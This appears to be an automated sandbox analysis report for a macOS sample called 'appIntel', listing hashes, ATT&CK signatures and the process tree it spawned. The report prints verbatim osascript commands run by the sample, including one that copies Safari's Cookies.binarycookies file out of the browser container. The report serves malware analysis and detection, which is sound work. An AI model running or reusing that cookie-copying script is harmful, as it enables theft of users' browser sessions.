Analysis
-
max time kernel
43s -
max time network
44s -
platform
macos-10.15_amd64 -
resource
macos-20240711.1-en -
resource tags
arch:amd64arch:i386image:macos-20240711.1-enkernel:19b77alocale:en-usos:macos-10.15-amd64system -
submitted
06/08/2024, 20:11
Static task
static1
General
-
Target
appIntel
-
Size
1.5MB
-
MD5
24eb633aaec8eae75ae6f722923dc38b
-
SHA1
9dd3da391a4974b248d7966b8cee0b8bf8d2e2e2
-
SHA256
18e8f18fbf9e6c8798ee18bd88094478f8c4ba956415fd0b3e540f99547d6321
-
SHA512
23c6a58cea5e3779a7c0af4d5b44634e3f0366561dee04fb7cdbeff930df1eebd64a2f68578ce1f0d4e903eb52470925e62577978e2739a595646efc5113a8b5
-
SSDEEP
24576:0wudzeNUFYFjjNqmOi1j98CmR5mzxcbSj1z2CHN3d:0w/NU+Fjj8mOq8Cpxf1z2W3d
Malware Config
Signatures
-
AppleScript 1 TTPs 4 IoCs
AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.
ioc Process osascript -e " on run set userTmpDir to (POSIX path of (path to home folder)) & \"Library/Caches/TemporaryItems/\" set newFolderName to \"ExampleFolder\" set newFolderPath to userTmpDir & newFolderName & \"/\" -- Create a new folder do shell script \"mkdir -p \" & quoted form of newFolderPath -- Create an example file to copy set exampleFileName to \"example.txt\" set exampleFilePath to userTmpDir & exampleFileName do shell script \"echo 'This is an example file.' > \" & quoted form of exampleFilePath -- Copy the example file to the new folder set newFilePath to newFolderPath & exampleFileName do shell script \"cp \" & quoted form of exampleFilePath & \" \" & quoted form of newFilePath end run " Process not Found osascript -e " set destinationFolderPath to ((path to home folder as text)) tell application \"Finder\" try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try end try end tell " Process not Found osascript -e " on run set userTmpDir to (POSIX path of (path to home folder)) & \"Library/Caches/TemporaryItems/\" set newFolderName to \"ExampleFolder\" set newFolderPath to userTmpDir & newFolderName & \"/\" -- Create a new folder do shell script \"mkdir -p \" & quoted form of newFolderPath -- Create an example file to copy set exampleFileName to \"example.txt\" set exampleFilePath to userTmpDir & exampleFileName do shell script \"echo 'This is an example file.' > \" & quoted form of exampleFilePath -- Copy the example file to the new folder set newFilePath to newFolderPath & exampleFileName do shell script \"cp \" & quoted form of exampleFilePath & \" \" & quoted form of newFilePath end run " Process not Found osascript -e " set destinationFolderPath to ((path to home folder as text)) tell application \"Finder\" try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try end try end tell " Process not Found -
Resource Forking 1 TTPs 2 IoCs
Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.
ioc Process /System/Library/CoreServices/loginwindow.app/Contents/Resources/LWWeeklyMessageTracer Process not Found "/Library/Internet Plug-Ins/JavaAppletPlugin.plugin/Contents/Resources/Java Updater.app/Contents/MacOS/Java Updater" -bgcheck Process not Found
Processes
-
/usr/libexec/xpcproxyxpcproxy com.apple.pluginkit.pkreporter1⤵PID:482
-
/usr/libexec/xpcproxyxpcproxy com.apple.gkreport1⤵PID:483
-
/usr/bin/xar/usr/bin/xar -c -f dslocal-backup.xar dslocal1⤵PID:481
-
/bin/shsh -c "sudo /bin/zsh -c \"/Users/run/appIntel\""1⤵PID:484
-
/usr/libexec/gkreport/usr/libexec/gkreport1⤵PID:483
-
/bin/bashsh -c "sudo /bin/zsh -c \"/Users/run/appIntel\""1⤵PID:484
-
/usr/libexec/xpcproxyxpcproxy com.apple.systemstats.daily1⤵PID:485
-
/usr/libexec/xpcproxyxpcproxy com.apple.loginwindow.LWWeeklyMessageTracer1⤵PID:486
-
/usr/libexec/xpcproxyxpcproxy com.apple.newsyslog1⤵PID:487
-
/usr/bin/sudosudo /bin/zsh -c /Users/run/appIntel1⤵PID:484
-
/bin/zsh/bin/zsh -c /Users/run/appIntel2⤵PID:491
-
-
/Users/run/appIntel/Users/run/appIntel2⤵PID:491
-
/usr/bin/osascriptosascript -e " on run set userTmpDir to (POSIX path of (path to home folder)) & \"Library/Caches/TemporaryItems/\" set newFolderName to \"ExampleFolder\" set newFolderPath to userTmpDir & newFolderName & \"/\" -- Create a new folder do shell script \"mkdir -p \" & quoted form of newFolderPath -- Create an example file to copy set exampleFileName to \"example.txt\" set exampleFilePath to userTmpDir & exampleFileName do shell script \"echo 'This is an example file.' > \" & quoted form of exampleFilePath -- Copy the example file to the new folder set newFilePath to newFolderPath & exampleFileName do shell script \"cp \" & quoted form of exampleFilePath & \" \" & quoted form of newFilePath end run "3⤵PID:492
-
-
/usr/bin/osascriptosascript -e " set destinationFolderPath to ((path to home folder as text)) tell application \"Finder\" try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try end try end tell "3⤵PID:497
-
-
-
/usr/libexec/xpcproxyxpcproxy com.oracle.java.Java-Updater1⤵PID:488
-
/System/Library/PrivateFrameworks/SpeechObjects.framework/Versions/A/SpeechDataInstallerd.app/Contents/MacOS/SpeechDataInstallerd/System/Library/PrivateFrameworks/SpeechObjects.framework/Versions/A/SpeechDataInstallerd.app/Contents/MacOS/SpeechDataInstallerd1⤵PID:479
-
/usr/libexec/pkreporter/usr/libexec/pkreporter1⤵PID:482
-
/System/Library/CoreServices/Applications/Feedback Assistant.app/Contents/Library/LaunchServices/seedusaged"/System/Library/CoreServices/Applications/Feedback Assistant.app/Contents/Library/LaunchServices/seedusaged"1⤵PID:476
-
/System/Library/CoreServices/loginwindow.app/Contents/Resources/LWWeeklyMessageTracer/System/Library/CoreServices/loginwindow.app/Contents/Resources/LWWeeklyMessageTracer1⤵PID:486
-
/usr/sbin/newsyslog/usr/sbin/newsyslog1⤵PID:487
-
/bin/shsh -c "mkdir -p '/private/var/root/Library/Caches/TemporaryItems/ExampleFolder/'"1⤵PID:494
-
/bin/bashsh -c "mkdir -p '/private/var/root/Library/Caches/TemporaryItems/ExampleFolder/'"1⤵PID:494
-
/bin/mkdirmkdir -p /private/var/root/Library/Caches/TemporaryItems/ExampleFolder/1⤵PID:494
-
/bin/shsh -c "echo 'This is an example file.' > '/private/var/root/Library/Caches/TemporaryItems/example.txt'"1⤵PID:495
-
/bin/bashsh -c "echo 'This is an example file.' > '/private/var/root/Library/Caches/TemporaryItems/example.txt'"1⤵PID:495
-
/bin/shsh -c "cp '/private/var/root/Library/Caches/TemporaryItems/example.txt' '/private/var/root/Library/Caches/TemporaryItems/ExampleFolder/example.txt'"1⤵PID:496
-
/bin/bashsh -c "cp '/private/var/root/Library/Caches/TemporaryItems/example.txt' '/private/var/root/Library/Caches/TemporaryItems/ExampleFolder/example.txt'"1⤵PID:496
-
/bin/cpcp /private/var/root/Library/Caches/TemporaryItems/example.txt /private/var/root/Library/Caches/TemporaryItems/ExampleFolder/example.txt1⤵PID:496
-
/Library/Internet Plug-Ins/JavaAppletPlugin.plugin/Contents/Resources/Java Updater.app/Contents/MacOS/Java Updater"/Library/Internet Plug-Ins/JavaAppletPlugin.plugin/Contents/Resources/Java Updater.app/Contents/MacOS/Java Updater" -bgcheck1⤵PID:488
-
/usr/libexec/xpcproxyxpcproxy com.apple.sysmond1⤵PID:506
-
/usr/libexec/sysmond/usr/libexec/sysmond1⤵PID:506
-
/usr/libexec/xpcproxyxpcproxy com.apple.audio.AudioComponentRegistrar1⤵PID:522
-
/System/Library/Frameworks/AudioToolbox.framework/AudioComponentRegistrar/System/Library/Frameworks/AudioToolbox.framework/AudioComponentRegistrar -daemon1⤵PID:522
-
/usr/libexec/xpcproxyxpcproxy com.apple.Terminal.21001⤵PID:528
-
/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal1⤵PID:528
-
/usr/bin/loginlogin -pf run2⤵PID:529
-
/bin/zsh-zsh3⤵PID:530
-
/usr/libexec/path_helper/usr/libexec/path_helper -s4⤵PID:531
-
-
/usr/bin/localelocale LC_CTYPE4⤵PID:532
-
-
/bin/lsls4⤵PID:534
-
-
./appIntel./appIntel4⤵PID:543
-
/usr/bin/osascriptosascript -e " on run set userTmpDir to (POSIX path of (path to home folder)) & \"Library/Caches/TemporaryItems/\" set newFolderName to \"ExampleFolder\" set newFolderPath to userTmpDir & newFolderName & \"/\" -- Create a new folder do shell script \"mkdir -p \" & quoted form of newFolderPath -- Create an example file to copy set exampleFileName to \"example.txt\" set exampleFilePath to userTmpDir & exampleFileName do shell script \"echo 'This is an example file.' > \" & quoted form of exampleFilePath -- Copy the example file to the new folder set newFilePath to newFolderPath & exampleFileName do shell script \"cp \" & quoted form of exampleFilePath & \" \" & quoted form of newFilePath end run "5⤵PID:545
-
-
/usr/bin/osascriptosascript -e " set destinationFolderPath to ((path to home folder as text)) tell application \"Finder\" try set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\") try duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder destinationFolderPath with replacing end try end try end tell "5⤵PID:550
-
-
-
-
-
/bin/launchctl/bin/launchctl kill SIGTERM system/com.microsoft.OneDriveUpdaterDaemon1⤵PID:535
-
/bin/launchctl/bin/launchctl kill SIGTERM system/com.microsoft.OneDriveStandaloneUpdaterDaemon1⤵PID:536
-
/bin/shsh -c "mkdir -p '/Users/run/Library/Caches/TemporaryItems/ExampleFolder/'"1⤵PID:547
-
/bin/bashsh -c "mkdir -p '/Users/run/Library/Caches/TemporaryItems/ExampleFolder/'"1⤵PID:547
-
/bin/mkdirmkdir -p /Users/run/Library/Caches/TemporaryItems/ExampleFolder/1⤵PID:547
-
/bin/shsh -c "echo 'This is an example file.' > '/Users/run/Library/Caches/TemporaryItems/example.txt'"1⤵PID:548
-
/bin/bashsh -c "echo 'This is an example file.' > '/Users/run/Library/Caches/TemporaryItems/example.txt'"1⤵PID:548
-
/bin/shsh -c "cp '/Users/run/Library/Caches/TemporaryItems/example.txt' '/Users/run/Library/Caches/TemporaryItems/ExampleFolder/example.txt'"1⤵PID:549
-
/bin/bashsh -c "cp '/Users/run/Library/Caches/TemporaryItems/example.txt' '/Users/run/Library/Caches/TemporaryItems/ExampleFolder/example.txt'"1⤵PID:549
-
/bin/cpcp /Users/run/Library/Caches/TemporaryItems/example.txt /Users/run/Library/Caches/TemporaryItems/ExampleFolder/example.txt1⤵PID:549
-
/usr/libexec/xpcproxyxpcproxy com.apple.corespotlightservice.725FD30A-6064-6C02-CC51-5DDB8891B57E1⤵PID:553
-
/System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService/System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService1⤵PID:553
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
25B
MD5f83e4efb2befe7a99a475faa9374bf26
SHA1107515b930226d6c4a49966689811ca83f2e40a5
SHA2563decc07e5f05ad339fa35c936313dbd8e8bfe910c1c8dea9304102103d27916a
SHA512ca101f8dc46666a2e204080421708dc55eaa712b1e30d3b98298e587b55a29b890c8ffb972e2e647cedc0e1e94855eaf9cf1e4a71cd4850dffdadb925b4f2d0c